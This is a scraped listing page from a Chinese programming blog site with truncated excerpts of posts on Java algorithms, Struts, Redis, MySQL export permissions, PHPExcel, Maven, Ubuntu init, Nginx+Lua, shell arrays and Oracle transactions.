如果你是设计师，要想提高技能可以去设计博客和展示好设计的网站如D-lists或
    

    • 

  • 三色旗算法
bylijinnan
java算法

    
import java.util.Arrays;
/**
问题：
假设有一条绳子，上面有红、白、蓝三种颜色的旗子，起初绳子上的旗子颜色并没有顺序，
您希望将之分类，并排列为蓝、白、红的顺序，要如何移动次数才会最少，注意您只能在绳
子上进行这个动作，而且一次只能调换两个旗子。
网上的解法大多类似：
在一条绳子上移动，在程式中也就意味只能使用一个阵列，而不使用其它的阵列来
    

    • 

  • 警告:No configuration found for the specified action: \'s
chiangfai
configuration

    1.index.jsp页面form标签未指定namespace属性。
<!--index.jsp代码-->
<%@taglib prefix="s" uri="/struts-tags"%>
...
<s:form action="submit" method="post"&g
    

    • 

  • redis -- hash_max_zipmap_entries设置过大有问题
chenchao051
redishash

    使用redis时为了使用hash追求更高的内存使用率，我们一般都用hash结构，并且有时候会把hash_max_zipmap_entries这个值设置的很大，很多资料也推荐设置到1000，默认设置为了512，但是这里有个坑
 
#define ZIPMAP_BIGLEN 254
#define ZIPMAP_END 255
 
 
/* Return th
    

    • 

  • select into outfile access deny问题
daizj
mysqltxt导出数据到文件

    本文转自：http://hatemysql.com/2010/06/29/select-into-outfile-access-deny%E9%97%AE%E9%A2%98/
为应用建立了rnd的帐号，专门为他们查询线上数据库用的，当然，只有他们上了生产网络以后才能连上数据库，安全方面我们还是很注意的，呵呵。
授权的语句如下：
grant select on armory.* to rn
    

    • 

  • phpexcel导出excel表简单入门示例
dcj3sjt126com
PHPExcelphpexcel

    
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
 
if (PHP_SAPI == 'cli')
die('This example should only be run from a Web Brows
    

    • 

  • 美国电影超短200句
dcj3sjt126com
电影

    1. I see． 我明白了。2. I quit! 我不干了!3. Let go! 放手!4. Me too． 我也是。5. My god! 天哪!6. No way! 不行!7. Come on． 来吧(赶快)8. Hold on． 等一等。9. I agree。 我同意。10. Not bad． 还不错。11. Not yet． 还没。12. See you． 再见。13. Shut up! 
    

    • 

  • Java访问远程服务
dyy_gusi
httpclientwebservicegetpost

        随着webService的崛起，我们开始中会越来越多的使用到访问远程webService服务。当然对于不同的webService框架一般都有自己的client包供使用，但是如果使用webService框架自己的client包，那么必然需要在自己的代码中引入它的包，如果同时调运了多个不同框架的webService，那么就需要同时引入多个不同的clien
    

    • 

  • Maven的settings.xml配置
geeksun
settings.xml

    settings.xml是Maven的配置文件，下面解释一下其中的配置含义：
settings.xml存在于两个地方：
1.安装的地方：$M2_HOME/conf/settings.xml
2.用户的目录：${user.home}/.m2/settings.xml
前者又被叫做全局配置，后者被称为用户配置。如果两者都存在，它们的内容将被合并，并且用户范围的settings.xml优先。

    

    • 

  • ubuntu的init与系统服务设置
hongtoushizi
ubuntu

    转载自： 
http://iysm.net/?p=178 init
Init是位于/sbin/init的一个程序，它是在linux下，在系统启动过程中，初始化所有的设备驱动程序和数据结构等之后，由内核启动的一个用户级程序，并由此init程序进而完成系统的启动过程。
ubuntu与传统的linux略有不同，使用upstart完成系统的启动，但表面上仍维持init程序的形式。
运行
    

    • 

  • 跟我学Nginx+Lua开发目录贴
jinnianshilongnian
nginxlua

    使用Nginx+Lua开发近一年的时间，学习和实践了一些Nginx+Lua开发的架构，为了让更多人使用Nginx+Lua架构开发，利用春节期间总结了一份基本的学习教程，希望对大家有用。也欢迎谈探讨学习一些经验。 
  目录
第一章 安装Nginx+Lua开发环境
第二章 Nginx+Lua开发入门
第三章 Redis/SSDB+Twemproxy安装与使用
第四章 L
    

    • 

  • php位运算符注意事项
home198979
位运算PHP&

    $a = $b = $c = 0;
$a & $b = 1;
$b | $c = 1
 问a,b,c最终为多少?
 
当看到这题时，我犯了一个低级错误，误 以为位运算符会改变变量的值。所以得出结果是1 1 0
但是位运算符是不会改变变量的值的，例如：
$a=1;$b=2;
$a&$b;
 这样a,b的值不会有任何改变

    

    • 

  • Linux shell数组建立和使用技巧
pda158
linux

    1.数组定义 　　[chengmo@centos5 ~]$ a=(1 2 3 4 5) 　　[chengmo@centos5 ~]$ echo $a 　　1 　　一对括号表示是数组，数组元素用“空格”符号分割开。 　　
2.数组读取与赋值 　　得到长度： 　　[chengmo@centos5 ~]$ echo ${#a[@]} 　　5 　　用${#数组名[@或
    

    • 

  • hotspot源码(JDK7)
ol_beta
javaHotSpotjvm

    源码结构图，方便理解：
 
├─agent                            Serviceab
    

    • 

  • Oracle基本事务和ForAll执行批量DML练习
vipbooks
oraclesql

    基本事务的使用：
从账户一的余额中转100到账户二的余额中去，如果账户二不存在或账户一中的余额不足100则整笔交易回滚
select * from account;
-- 创建一张账户表
create table account(
-- 账户ID
id number(3) not null,
-- 账户名称
nam
    

    •